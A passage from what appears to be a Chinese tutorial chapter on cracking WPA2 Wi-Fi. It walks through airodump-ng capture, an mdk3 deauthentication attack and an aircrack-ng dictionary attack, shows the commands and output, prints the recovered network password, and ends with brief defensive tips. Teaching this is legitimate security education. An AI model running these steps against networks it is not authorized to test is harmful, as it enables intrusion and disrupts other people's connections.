8C:21:0A:B4:EE:7A -66 176 198 0 6 270 WPA2 CCMP PSK 5-401
BC:54:FC:52:57:EF -69 108 0 0 1 270 WPA2 CCMP PSK MERCURY_57EF从输出的信息可以看见扫描到的所有无线网络。此时,选择使用WPA/WPA2加密的无线网络。例如,这里将选择
酷拽吊炸天
无线网络,实施暴力破解。使用Airodump-ng工具重新捕获数据包,并指定目标AP的BSSID、信道(CH)及文件保存位置。执行命令如下:
1
2
3
4
5
6
7
8
9
10
11
12# airodump-ng -c 36 -w wlan --bssid 00:6B:8E:F4:2D:F0 wlan0
CH 36 ][ Elapsed: 4 mins ][ 2021-01-23 21:46 ][ interface wlan0 down
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:6B:8E:F4:2D:F0 -57 0 102 7 2 36 360 WPA2 CCMP PSK 酷拽吊炸天
BSSID STATION PWR Rate Lost Frames Notes Probes
00:6B:8E:F4:2D:F0 CE:41:CF:CE:15:DD -82 24e- 6 27 11
00:6B:8E:F4:2D:F0 98:8D:46:D1:77:57 -1 24e- 0 0 2看到以上输出的信息,表示正在捕获数据包。但是,如果要破解该无线网络的密码,必须要捕获到握手包。。此时,用户可以使用mdk3工具实施死亡攻击,以加快获取握手包的速度。
其语法格式如下:
mdk3 wlan0 d -s [time] -c [channel]
以上语法中,选项d表示实施死亡攻击;-s指定发送死亡包的时间间隔;-c指定攻击的信道,即AP所在的信道。
使用mdk3工具实施死亡攻击,以获取握手包。执行命令如下:
1
2
3
4# mdk3 wlan0 d -s 120 -c 36
read failed: Network is down
wi_read(): Network is down执行以上命令后,返回到Airodump-ng捕获包界面,以观察是否捕获到了握手包。如果捕获到握手包,将会在右上角显示AP的MAC地址。如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22CH 36 ][ Elapsed: 20 mins ][ 2021-01-23 22:03 ][ WPA handshake: 00:6B:8E:F4:2D:F0
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:6B:8E:F4:2D:F0 -54 0 462 264 0 36 360 WPA2 CCMP PSK 酷拽吊炸天
BSSID STATION PWR Rate Lost Frames Notes Probes
00:6B:8E:F4:2D:F0 98:8D:46:D1:77:57 -24 24e- 6e 164 1472 EAPOL
00:6B:8E:F4:2D:F0 CE:41:CF:CE:15:DD -51 1e- 1e 0 243
00:6B:8E:F4:2D:F0 01:00:5E:00:00:02 -52 0 - 1 0 2
00:6B:8E:F4:2D:F0 33:33:00:00:00:02 -53 0 - 1 0 2
00:6B:8E:F4:2D:F0 01:00:5E:00:00:FC -53 0 - 1 0 40
00:6B:8E:F4:2D:F0 33:33:00:01:00:03 -53 0 - 1 0 38
00:6B:8E:F4:2D:F0 33:33:00:01:00:02 -53 0 - 1 0 4
00:6B:8E:F4:2D:F0 FF:FF:FF:FF:FF:FF -53 0 - 1 0 22
00:6B:8E:F4:2D:F0 33:33:00:00:00:FB -53 0 - 1 0 34
00:6B:8E:F4:2D:F0 33:33:FF:66:A7:D1 -54 0 - 1 0 2
00:6B:8E:F4:2D:F0 01:00:5E:00:00:16 -54 0 - 1 0 8
00:6B:8E:F4:2D:F0 33:33:00:00:00:16 -57 0 - 1 0 8
00:6B:8E:F4:2D:F0 01:00:5E:00:00:FB -88 0 - 1 0 36
00:6B:8E:F4:2D:F0 01:00:5E:7F:FF:FA -90 0 - 1 0 22从右上角可以看到,显示了WPA handshake。由此可以说明,已成功捕获到握手包。接下来,用户就可以实施暴力破解了。在该扫描过程中,生成的捕获文件名为wlan-01.cap。
实施暴力破解,并指定使用的密码字典为passwords.txt。其中,该密码字典需要用户手动创建。执行命令如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37# aircrack-ng -w passwords.txt wlan-01.cap
Reading packets, please wait...
Opening kk-02.cap
Read 145299 packets.
# BSSID ESSID Encryption
1 00:6B:8E:F4:2D:F0 酷拽吊炸天 WPA (1 handshake)
Choosing first network as target.
Reading packets, please wait...
Opening kk-02.cap
Read 145299 packets.
1 potential targets
Aircrack-ng 1.6
[00:00:00] 1/1 keys tested (76.25 k/s)
Time left: --
KEY FOUND! [ fx757624276 ]
Master Key : AE 79 8D C1 06 8E 4B 2E 32 F8 08 A9 81 B8 7C 60
A4 ED 54 62 5A 81 66 0D CB F7 E5 4F 50 C5 A6 D7
Transient Key : 74 52 C0 71 A9 DE 92 DA 3A 3D F6 67 5C A4 40 20
5E 4D 35 22 80 6D 9E 0B A0 54 16 97 03 AC 33 58
3B 2D 37 5A 6C BB 0C C6 20 89 72 D7 95 0D A9 40
90 8E D7 48 5D 6A 66 9D 4C CB 3D 51 55 CB 44 2E
EAPOL HMAC : 8F 09 FD 00 A1 84 BE 8E 61 38 9E F8 8B E0 F0 0B从输出的信息可以看到,成功破解了
酷拽吊炸天
无线网络的密码,该密码为fx757624276
。
6.3 防护措施
通过前面的介绍可以发现,不管是WEP加密还是WPA/WPA2加密都能够破解密码。为了使自己的无线网络尽可能安全,用户可以采取一些防护措施。下面介绍几个防护措施。
- 更改无线路由器默认设置。
- 禁止SSID广播,防止被扫描搜索。
- 关闭WPS/QSS功能。
- 启用MAC地址过滤。
- 设置比较复杂的密码。例如,包括大小写字母、数字和特殊符号。